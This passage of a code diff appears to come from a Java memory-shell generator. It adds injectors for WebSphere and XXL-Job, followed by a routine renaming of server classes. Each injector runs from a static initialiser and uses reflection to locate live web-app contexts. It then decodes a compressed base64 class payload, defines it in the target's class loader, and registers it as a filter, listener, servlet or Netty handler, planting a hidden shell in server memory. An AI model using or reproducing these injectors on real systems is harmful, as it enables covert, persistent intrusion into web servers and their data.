+        Object filterManager = getFieldValue(context, "filterManager");
+        try {
+            // v8
+            Constructor<?> constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass);
+            // com.ibm.ws.webcontainer.webapp.WebApp.commonAddFilter
+            setFieldValue(context, "initialized", false);
+            Object filterConfig = invokeMethod(context, "commonAddFilter", new Class[]{String.class, String.class, Filter.class, Class.class}, new Object[]{getClassName(), getClassName(), filter, filter.getClass()});
+            Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null);
+            setFieldValue(context, "initialized", true);
+
+            // com.ibm.ws.webcontainer.filter.WebAppFilterManager.addFilterMapping
+            invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
+
+            // com.ibm.ws.webcontainer.filter.WebAppFilterManager#_loadFilter
+            invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()});
+
+        } catch (Exception e) {
+            // v7
+            Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{getClassName()});
+            invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{filter.getClass().getName()});
+            setFieldValue(filterConfig, "dispatchMode", new int[]{0});
+            setFieldValue(filterConfig, "name", getClassName());
+            invokeMethod(context, "addMappingFilter", new Class[]{String.class, iFilterConfigClass}, new Object[]{getUrlPattern(), filterConfig});
+            invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()});
+        }
+        // 清除缓存
+        invokeMethod(getFieldValue(filterManager, "chainCache"), "clear", null, null);
+        System.out.println("filter injected successfully");
+    }
+
+    public boolean isInjected(Object context) throws Exception {
+        Object webAppConfiguration = getFieldValue(context, "config");
+        return invokeMethod(webAppConfiguration, "getFilterInfo", new Class[]{String.class}, new Object[]{getClassName()}) != null;
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
+            Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+    private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
+        Field field = getField(obj, fieldName);
+        field.setAccessible(true);
+        field.set(obj, value);
+    }
+
+    @SuppressWarnings("all")
+    public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        for (Class<?> clazz = obj.getClass();
+             clazz != Object.class;
+             clazz = clazz.getSuperclass()) {
+            try {
+                return clazz.getDeclaredField(name);
+            } catch (NoSuchFieldException ignored) {
+
+            }
+        }
+        throw new NoSuchFieldException(name);
+    }
+
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        try {
+            Field field = getField(obj, name);
+            field.setAccessible(true);
+            return field.get(obj);
+        } catch (NoSuchFieldException ignored) {
+        }
+        return null;
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java

@@ -0,0 +1,173 @@
+package com.reajason.javaweb.memshell.injector.websphere;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ */
+public class WebSphereListenerInjector {
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    static {
+        new WebSphereListenerInjector();
+    }
+
+    public WebSphereListenerInjector() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object listener = getShell(context);
+                inject(context, listener);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public List<Object> getContext() throws Exception {
+        List<Object> contexts = new ArrayList<Object>();
+        Object context;
+        Object obj = getFieldValue(Thread.currentThread(), "wsThreadLocals");
+        Object[] wsThreadLocals = (Object[]) obj;
+        for (Object wsThreadLocal : wsThreadLocals) {
+            obj = wsThreadLocal;
+            // for websphere 7.x
+            if (obj != null && obj.getClass().getName().endsWith("FastStack")) {
+                Object[] stackList = (Object[]) getFieldValue(obj, "stack");
+                for (Object stack : stackList) {
+                    try {
+                        Object config = getFieldValue(stack, "config");
+                        context = getFieldValue(getFieldValue(config, "context"), "context");
+                        contexts.add(context);
+                    } catch (Exception ignored) {
+                    }
+                }
+            } else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) {
+                context = getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context");
+                contexts.add(context);
+            }
+        }
+        return contexts;
+    }
+
+    private ClassLoader getWebAppClassLoader(Object context) throws Exception {
+        try {
+            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
+        } catch (Exception e) {
+            return ((ClassLoader) getFieldValue(context, "loader"));
+        }
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader classLoader = getWebAppClassLoader(context);
+        try {
+            return classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            return clazz.newInstance();
+        }
+    }
+
+    @SuppressWarnings("unchecked")
+    public void inject(Object context, Object listener) throws Exception {
+        List<Object> listeners = (List<Object>) getFieldValue(context, "servletRequestListeners");
+        for (Object o : listeners) {
+            if (o.getClass().getName().equals(getClassName())) {
+                System.out.println("listener already injected");
+                return;
+            }
+        }
+        listeners.add(listener);
+        System.out.println("listener injected successfully");
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        for (Class<?> clazz = obj.getClass();
+             clazz != Object.class;
+             clazz = clazz.getSuperclass()) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException ignored) {
+
+            }
+        }
+        throw new NoSuchFieldException(name);
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
+            Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java

@@ -0,0 +1,176 @@
+package com.reajason.javaweb.memshell.injector.websphere;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Properties;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/21
+ */
+public class WebSphereServletInjector {
+
+    static {
+        new WebSphereServletInjector();
+    }
+
+    public WebSphereServletInjector() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object listener = getShell(context);
+                inject(context, listener);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    public List<Object> getContext() throws Exception {
+        List<Object> contexts = new ArrayList<Object>();
+        Object context;
+        Object obj = getFieldValue(Thread.currentThread(), "wsThreadLocals");
+        Object[] wsThreadLocals = (Object[]) obj;
+        for (Object wsThreadLocal : wsThreadLocals) {
+            obj = wsThreadLocal;
+            // for websphere 7.x
+            if (obj != null && obj.getClass().getName().endsWith("FastStack")) {
+                Object[] stackList = (Object[]) getFieldValue(obj, "stack");
+                for (Object stack : stackList) {
+                    try {
+                        Object config = getFieldValue(stack, "config");
+                        context = getFieldValue(getFieldValue(config, "context"), "context");
+                        contexts.add(context);
+                    } catch (Exception ignored) {
+                    }
+                }
+            } else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) {
+                context = getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context");
+                contexts.add(context);
+            }
+        }
+        return contexts;
+    }
+
+    private ClassLoader getWebAppClassLoader(Object context) throws Exception {
+        try {
+            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
+        } catch (Exception e) {
+            return ((ClassLoader) getFieldValue(context, "loader"));
+        }
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader classLoader = getWebAppClassLoader(context);
+        try {
+            return classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            return clazz.newInstance();
+        }
+    }
+
+    public void inject(Object context, Object servlet) throws Exception {
+        Object config = getFieldValue(context, "config");
+        Object servletInfo = invokeMethod(config, "getServletInfo", new Class[]{String.class}, new Object[]{getClassName()});
+        if (servletInfo != null) {
+            System.out.println("servlet already injected");
+            return;
+        }
+        invokeMethod(context, "addDynamicServlet", new Class[]{String.class, String.class, String.class, Properties.class}, new Object[]{getClassName(), getClassName(), getUrlPattern(), null});
+        System.out.println("servlet injected successfully");
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException();
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
+            Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/xxljob/XxlJobNettyHandlerInjector.java

@@ -0,0 +1,167 @@
+package com.reajason.javaweb.memshell.injector.xxljob;
+
+import com.xxl.job.core.biz.impl.ExecutorBizImpl;
+import com.xxl.job.core.server.EmbedServer;
+import io.netty.channel.ChannelHandler;
+import io.netty.channel.ChannelInitializer;
+import io.netty.channel.socket.SocketChannel;
+import io.netty.handler.codec.http.HttpObjectAggregator;
+import io.netty.handler.codec.http.HttpServerCodec;
+import io.netty.handler.timeout.IdleStateHandler;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.HashSet;
+import java.util.Set;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.ThreadPoolExecutor;
+import java.util.concurrent.TimeUnit;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2025/1/21
+ */
+public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel> {
+    static {
+        new XxlJobNettyHandlerInjector();
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    public XxlJobNettyHandlerInjector() {
+        try {
+            handlerClass = getShellClass();
+            inject();
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    private Class<?> handlerClass;
+
+    @Override
+    protected void initChannel(SocketChannel channel) throws Exception {
+        ChannelHandler channelHandler = (ChannelHandler) handlerClass.newInstance();
+        channel.pipeline()
+                .addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS))
+                .addLast(new HttpServerCodec())
+                .addLast(new HttpObjectAggregator(5 * 1024 * 1024))
+                .addLast(channelHandler)
+                .addLast(new EmbedServer.EmbedHttpServerHandler(new ExecutorBizImpl(), "", new ThreadPoolExecutor(
+                        0,
+                        200,
+                        60L,
+                        TimeUnit.SECONDS,
+                        new LinkedBlockingQueue<>(2000),
+                        r -> new Thread(r, "xxl-rpc, EmbedServer bizThreadPool-" + r.hashCode()),
+                        (r, executor) -> {
+                            throw new RuntimeException("xxl-job, EmbedServer bizThreadPool is EXHAUSTED!");
+                        })));
+    }
+
+    private Class<?> getShellClass() throws Exception {
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        try {
+            return classLoader.loadClass(getClassName());
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            return (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+        }
+    }
+
+    public void inject() throws Exception {
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
+                Object target;
+                try {
+                    target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val$eventExecutor");
+                    if (target.getClass().getName().endsWith("NioEventLoop")) {
+                        HashSet<?> set = (HashSet<?>) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
+                        if (!set.isEmpty()) {
+                            Object keys = set.toArray()[0];
+                            Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline");
+                            Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler");
+                            setFieldValue(embedHttpServerHandler, "childHandler", this);
+                            System.out.println("xxl-job NettyHandler inject successful");
+                            break;
+                        }
+                    }
+                } catch (Exception ignored) {
+                }
+            }
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+        } finally {
+            if (gzipInputStream != null) {
+                try {
+                    gzipInputStream.close();
+                } catch (IOException ignored) {
+                }
+            }
+            out.close();
+        }
+        return out.toByteArray();
+    }
+
+    public Field getField(final Class<?> clazz, final String fieldName) {
+        Field field = null;
+        try {
+            field = clazz.getDeclaredField(fieldName);
+            field.setAccessible(true);
+        } catch (NoSuchFieldException ex) {
+            if (clazz.getSuperclass() != null) {
+                field = getField(clazz.getSuperclass(), fieldName);
+            }
+        }
+        return field;
+    }
+
+    public Object getFieldValue(final Object obj, final String fieldName) throws Exception {
+        final Field field = getField(obj.getClass(), fieldName);
+        return field.get(obj);
+    }
+
+    public void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
+        final Field field = getField(obj.getClass(), fieldName);
+        field.set(obj, value);
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/server/AbstractServer.java

@@ -12,7 +12,7 @@ import java.util.Set;
  * @author ReaJason
  * @since 2024/12/7
  */
-public abstract class AbstractShell {
+public abstract class AbstractServer {
 
     private final Map<ShellTool, ToolMapping> map = new LinkedHashMap<>();
 
@@ -27,7 +27,7 @@ public abstract class AbstractShell {
         return null;
     }
 
-    protected void addToolMapping(ShellTool shellTool, ToolMapping mapping) {
+    public void addToolMapping(ShellTool shellTool, ToolMapping mapping) {
         map.put(shellTool, mapping);
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/server/Apusic.java

@@ -4,9 +4,8 @@ import com.reajason.javaweb.memshell.injector.apusic.ApusicFilterChainAgentInjec
 import com.reajason.javaweb.memshell.injector.apusic.ApusicFilterInjector;
 import com.reajason.javaweb.memshell.injector.apusic.ApusicListenerInjector;
 import com.reajason.javaweb.memshell.injector.apusic.ApusicServletInjector;
-import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
+import com.reajason.javaweb.utils.ShellCommonUtil;
 import net.bytebuddy.asm.Advice;
-import net.bytebuddy.implementation.bytecode.assign.Assigner;
 
 import static com.reajason.javaweb.memshell.ShellType.*;
 
@@ -14,7 +13,7 @@ import static com.reajason.javaweb.memshell.ShellType.*;
  * @author ReaJason
  * @since 2024/12/27
  */
-public class ApusicShell extends AbstractShell {
+public class Apusic extends AbstractServer {
 
     public static class ListenerInterceptor {
         @Advice.OnMethodExit

generator/src/main/java/com/reajason/javaweb/memshell/server/Bes.java

@@ -8,11 +8,11 @@ import static com.reajason.javaweb.memshell.ShellType.*;
  * @author ReaJason
  * @since 2024/12/26
  */
-public class BesShell extends AbstractShell {
+public class Bes extends AbstractServer {
 
     @Override
     public Class<?> getListenerInterceptor() {
-        return TomcatShell.ListenerInterceptor.class;
+        return Tomcat.ListenerInterceptor.class;
     }
 
     @Override

generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFish.java

@@ -5,7 +5,7 @@ import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterChainAgen
 import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector;
 import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
 import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
-import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
+import com.reajason.javaweb.utils.ShellCommonUtil;
 import net.bytebuddy.asm.Advice;
 
 import static com.reajason.javaweb.memshell.ShellType.*;
@@ -14,7 +14,7 @@ import static com.reajason.javaweb.memshell.ShellType.*;
  * @author ReaJason
  * @since 2024/12/12
  */
-public class GlassFishShell extends AbstractShell {
+public class GlassFish extends AbstractServer {
 
     public static class ListenerInterceptor {
 

generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuite.java

@@ -4,8 +4,6 @@ import com.reajason.javaweb.memshell.injector.glassfish.GlassFishContextValveAge
 import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterChainAgentInjector;
 import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
 import com.reajason.javaweb.memshell.injector.inforsuite.InforSuiteFilterInjector;
-import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
-import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
 import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
 
 import static com.reajason.javaweb.memshell.ShellType.*;
@@ -14,11 +12,11 @@ import static com.reajason.javaweb.memshell.ShellType.*;
  * @author ReaJason
  * @since 2024/12/24
  */
-public class InforSuiteShell extends AbstractShell {
+public class InforSuite extends AbstractServer {
 
     @Override
     public Class<?> getListenerInterceptor() {
-        return TomcatShell.ListenerInterceptor.class;
+        return Tomcat.ListenerInterceptor.class;
     }
 
     @Override

generator/src/main/java/com/reajason/javaweb/memshell/server/Jboss.java

@@ -13,11 +13,11 @@ import static com.reajason.javaweb.memshell.ShellType.*;
  * @author ReaJason
  * @since 2024/12/10
  */
-public class JbossShell extends AbstractShell {
+public class Jboss extends AbstractServer {
 
     @Override
     public Class<?> getListenerInterceptor() {
-        return TomcatShell.ListenerInterceptor.class;
+        return Tomcat.ListenerInterceptor.class;
     }
 
     @Override

generator/src/main/java/com/reajason/javaweb/memshell/server/Jetty.java

@@ -4,9 +4,8 @@ import com.reajason.javaweb.memshell.injector.jetty.JettyFilterInjector;
 import com.reajason.javaweb.memshell.injector.jetty.JettyHandlerAgentInjector;
 import com.reajason.javaweb.memshell.injector.jetty.JettyListenerInjector;
 import com.reajason.javaweb.memshell.injector.jetty.JettyServletInjector;
-import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
+import com.reajason.javaweb.utils.ShellCommonUtil;
 import net.bytebuddy.asm.Advice;
-import net.bytebuddy.implementation.bytecode.assign.Assigner;
 
 import static com.reajason.javaweb.memshell.ShellType.*;
 
@@ -14,7 +13,7 @@ import static com.reajason.javaweb.memshell.ShellType.*;
  * @author ReaJason
  * @since 2024/12/7
  */
-public class JettyShell extends AbstractShell {
+public class Jetty extends AbstractServer {
 
     public static class ListenerInterceptor {
 

generator/src/main/java/com/reajason/javaweb/memshell/server/Resin.java

@@ -4,9 +4,8 @@ import com.reajason.javaweb.memshell.injector.resin.ResinFilterChainAgentInjecto
 import com.reajason.javaweb.memshell.injector.resin.ResinFilterInjector;
 import com.reajason.javaweb.memshell.injector.resin.ResinListenerInjector;
 import com.reajason.javaweb.memshell.injector.resin.ResinServletInjector;
-import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
+import com.reajason.javaweb.utils.ShellCommonUtil;
 import net.bytebuddy.asm.Advice;
-import net.bytebuddy.implementation.bytecode.assign.Assigner;
 
 import static com.reajason.javaweb.memshell.ShellType.*;
 
@@ -14,7 +13,7 @@ import static com.reajason.javaweb.memshell.ShellType.*;
  * @author ReaJason
  * @since 2024/12/14
  */
-public class ResinShell extends AbstractShell {
+public class Resin extends AbstractServer {
 
     public static class ListenerInterceptor {
         @Advice.OnMethodExit

generator/src/main/java/com/reajason/javaweb/memshell/server/ServerToolRegistry.java

@@ -1,33 +0,0 @@
-package com.reajason.javaweb.memshell.server;
-
-import com.reajason.javaweb.memshell.Server;
-import com.reajason.javaweb.memshell.ShellTool;
-
-import java.util.Map;
-import java.util.Set;
-
-/**
- * @author ReaJason
- * @since 2025/2/22
- */
-public class ServerToolRegistry {
-
-    public static void addToolMapping(ShellTool shellTool, ToolMapping toolMapping) {
-        Map<String, Class<?>> rawToolMapping = toolMapping.getShellClassMap();
-        for (Server value : Server.values()) {
-            AbstractShell shell = value.getShell();
-            InjectorMapping shellInjectorMapping = shell.getShellInjectorMapping();
-            Set<String> injectorSupportedShellTypes = shellInjectorMapping.getSupportedShellTypes();
-            ToolMapping.ToolMappingBuilder toolMappingBuilder = ToolMapping.builder();
-
-            for (String shellType : injectorSupportedShellTypes) {
-                Class<?> shellClass = rawToolMapping.get(shellType);
-                if (shellClass == null) {
-                    continue;
-                }
-                toolMappingBuilder.addShellClass(shellType, shellClass);
-            }
-            shell.addToolMapping(shellTool, toolMappingBuilder.build());
-        }
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebFlux.java

@@ -11,7 +11,7 @@ import static com.reajason.javaweb.memshell.ShellType.*;
  * @author ReaJason
  * @since 2024/12/24
  */
-public class SpringWebFluxShell extends AbstractShell {
+public class SpringWebFlux extends AbstractServer {
 
     @Override
     public InjectorMapping getShellInjectorMapping() {

generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebMvc.java

@@ -10,7 +10,7 @@ import static com.reajason.javaweb.memshell.ShellType.*;
  * @author ReaJason
  * @since 2024/12/22
  */
-public class SpringWebMvcShell extends AbstractShell {
+public class SpringWebMvc extends AbstractServer {
 
     @Override
     public InjectorMapping getShellInjectorMapping() {

generator/src/main/java/com/reajason/javaweb/memshell/server/Tomcat.java

@@ -1,7 +1,7 @@
 package com.reajason.javaweb.memshell.server;
 
 import com.reajason.javaweb.memshell.injector.tomcat.*;
-import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
+import com.reajason.javaweb.utils.ShellCommonUtil;
 import net.bytebuddy.asm.Advice;
 
 import static com.reajason.javaweb.memshell.ShellType.*;
@@ -10,7 +10,7 @@ import static com.reajason.javaweb.memshell.ShellType.*;
  * @author ReaJason
  * @since 2024/11/22
  */
-public class TomcatShell extends AbstractShell {
+public class Tomcat extends AbstractServer {
 
     public static class ListenerInterceptor {
 

generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb.java

@@ -8,11 +8,11 @@ import static com.reajason.javaweb.memshell.ShellType.*;
  * @author ReaJason
  * @since 2024/12/26
  */
-public class TongWebShell extends AbstractShell {
+public class TongWeb extends AbstractServer {
 
     @Override
     public Class<?> getListenerInterceptor() {
-        return TomcatShell.ListenerInterceptor.class;
+        return Tomcat.ListenerInterceptor.class;
     }
 
     @Override

generator/src/main/java/com/reajason/javaweb/memshell/server/Undertow.java

@@ -4,9 +4,8 @@ import com.reajason.javaweb.memshell.injector.undertow.UndertowFilterInjector;
 import com.reajason.javaweb.memshell.injector.undertow.UndertowListenerInjector;
